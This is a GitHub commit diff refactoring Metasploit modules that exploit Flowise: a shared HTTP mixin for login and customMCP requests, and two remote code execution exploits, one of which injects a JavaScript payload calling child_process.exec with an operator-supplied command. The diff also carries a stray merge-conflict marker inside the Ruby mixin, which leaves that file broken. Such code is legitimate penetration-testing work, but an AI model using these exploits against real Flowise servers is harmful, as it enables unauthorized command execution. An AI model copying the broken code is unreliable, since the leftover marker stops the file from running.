Skip to content

Commit 2ca3941

Browse files
committed
Apply review suggestions: use case/when, improve error handling, simplify code
1 parent 8cd32c0 commit 2ca3941

File tree

3 files changed

+52
-43
lines changed

3 files changed

+52
-43
lines changed

lib/msf/core/exploit/remote/http/flowise.rb

Lines changed: 27 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -63,14 +63,15 @@ def flowise_requires_auth?(version = nil)
6363
#
6464
# @param email [String] The email address for authentication
6565
# @param password [String] The password for authentication
66-
# @return [Boolean] true if authentication succeeds, false otherwise
66+
# @return [Boolean] true if authentication succeeds
67+
# @raise [Msf::Exploit::Failed] if authentication fails or credentials are invalid
6768
#
6869
# @example
69-
# if flowise_login('admin@example.com', 'password')
70-
# print_good('Logged in successfully')
71-
# end
70+
# flowise_login('admin@example.com', 'password')
7271
def flowise_login(email, password)
73-
return false if email.blank? || password.blank?
72+
if email.blank? || password.blank?
73+
fail_with(Msf::Exploit::Failure::BadConfig, 'Email and password are required for authentication')
74+
end
7475

7576
login_url = normalize_uri(target_uri.path, 'api', 'v1', 'auth', 'login')
7677
res = send_request_cgi({
@@ -88,16 +89,23 @@ def flowise_login(email, password)
8889
}.to_json
8990
})
9091

91-
return false unless res
92+
unless res
93+
fail_with(Msf::Exploit::Failure::TimeoutExpired, 'No response from server during login attempt')
94+
end
9295

93-
if res.code == 200 || res.code == 201
96+
case res.code
97+
when 200, 201
9498
print_good('Authentication successful')
9599
return true
100+
when 401
101+
fail_with(Msf::Exploit::Failure::NoAccess, 'Authentication failed - invalid credentials')
102+
when 404
103+
# Flowise returns 404 with "User Not Found" when the user doesn't exist
104+
fail_with(Msf::Exploit::Failure::NoAccess, 'Authentication failed - user not found')
105+
else
106+
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Login failed with HTTP #{res.code}")
96107
end
97-
98-
fail_with(Msf::Exploit::Failure::NoAccess, 'Authentication failed - invalid credentials') if res.code == 401
99-
100-
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Login failed with HTTP #{res.code}")
108+
>>>>>>> fe127778c8 (Apply review suggestions: use case/when, improve error handling, simplify code)
101109
end
102110

103111
# Sends a request to the customMCP endpoint
@@ -142,28 +150,23 @@ def flowise_send_custommcp_request(payload_data, opts = {})
142150
return true
143151
end
144152

145-
if res.code == 200
153+
case res.code
154+
when 200
146155
vprint_status('Command sent successfully (HTTP 200)')
147156
return true
148-
end
149-
150-
if res.code == 401
157+
when 401
151158
vprint_error('Authentication required - check credentials')
152159
return false
153-
end
154-
155-
if res.code == 404
160+
when 404
156161
vprint_error('Endpoint not found - target may not be vulnerable')
157162
return false
158-
end
159-
160-
if res.code == 500
163+
when 500
161164
vprint_error('Server error - command may have failed to execute')
162165
return true
166+
else
167+
vprint_warning("Unexpected HTTP response code: #{res.code}")
168+
return true
163169
end
164-
165-
vprint_warning("Unexpected HTTP response code: #{res.code}")
166-
return true
167170
end
168171
end
169172
end

modules/exploits/multi/http/flowise_custommcp_rce.rb

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -107,11 +107,10 @@ def execute_command(cmd, _opts = {})
107107
'loadMethod' => 'listActions'
108108
}
109109

110-
opts = {}
111-
if !datastore['FLOWISE_USERNAME'].blank? && !datastore['FLOWISE_PASSWORD'].blank?
112-
opts[:username] = datastore['FLOWISE_USERNAME']
113-
opts[:password] = datastore['FLOWISE_PASSWORD']
114-
end
110+
opts = {
111+
username: datastore['FLOWISE_USERNAME'],
112+
password: datastore['FLOWISE_PASSWORD']
113+
}
115114

116115
flowise_send_custommcp_request(payload_data, opts)
117116
end

modules/exploits/multi/http/flowise_js_rce.rb

Lines changed: 21 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,9 @@ def initialize(info = {})
3737
],
3838
'Platform' => %w[unix linux win],
3939
'Arch' => [ARCH_CMD],
40+
'Payload' => {
41+
'BadChars' => "\x0d\x0a" # \r \n
42+
},
4043
'Targets' => [
4144
[
4245
'Unix/Linux Command',
@@ -98,21 +101,26 @@ def check
98101

99102
def execute_command(cmd, _opts = {})
100103
requires_auth = flowise_requires_auth?
104+
email = datastore['FLOWISE_EMAIL']
105+
password = datastore['FLOWISE_PASSWORD']
106+
has_credentials = !email.blank? && !password.blank?
101107

102-
if requires_auth
103-
if datastore['FLOWISE_EMAIL'].blank? || datastore['FLOWISE_PASSWORD'].blank?
108+
if requires_auth && !has_credentials
104109
fail_with(Failure::NoAccess, 'Authentication required - set FLOWISE_EMAIL and FLOWISE_PASSWORD')
105110
end
106-
fail_with(Failure::NoAccess, 'Authentication required for this version but login failed') unless flowise_login(datastore['FLOWISE_EMAIL'], datastore['FLOWISE_PASSWORD'])
107-
elsif !datastore['FLOWISE_EMAIL'].blank? && !datastore['FLOWISE_PASSWORD'].blank?
108-
flowise_login(datastore['FLOWISE_EMAIL'], datastore['FLOWISE_PASSWORD']) ||
109-
vprint_warning('Login failed, but continuing without authentication (may work for versions < 3.0.1)')
110-
end
111111

112-
escaped_cmd = cmd.gsub('\\', '\\\\').gsub('"', '\\"').gsub("\n", '\\n').gsub("\r", '\\r')
112+
if has_credentials
113+
begin
114+
flowise_login(email, password)
115+
rescue Msf::Exploit::Failed
116+
vprint_warning('Login failed, but continuing without authentication (may work for versions < 3.0.1)') unless requires_auth
117+
raise if requires_auth
118+
end
119+
end
113120

121+
# BadChars ensures \r \n are not in the payload, but we still need to escape \ and " for JavaScript
114122
js_payload = '{x:(function(){const cp = process.mainModule.require("child_process");' \
115-
"cp.exec(\"#{escaped_cmd}\",()=>{});return 1;})()}"
123+
"cp.exec(\"#{cmd.gsub('\\', '\\\\').gsub('"', '\\"')}\",()=>{});return 1;})()}"
116124

117125
payload_data = {
118126
'loadMethod' => 'listActions',
@@ -121,11 +129,10 @@ def execute_command(cmd, _opts = {})
121129
}
122130
}
123131

124-
opts = {}
125-
if !datastore['FLOWISE_USERNAME'].blank? && !datastore['FLOWISE_PASSWORD'].blank?
126-
opts[:username] = datastore['FLOWISE_USERNAME']
127-
opts[:password] = datastore['FLOWISE_PASSWORD']
128-
end
132+
opts = {
133+
username: datastore['FLOWISE_USERNAME'],
134+
password: datastore['FLOWISE_PASSWORD']
135+
}
129136

130137
flowise_send_custommcp_request(payload_data, opts)
131138
end

0 commit comments

Comments
 (0)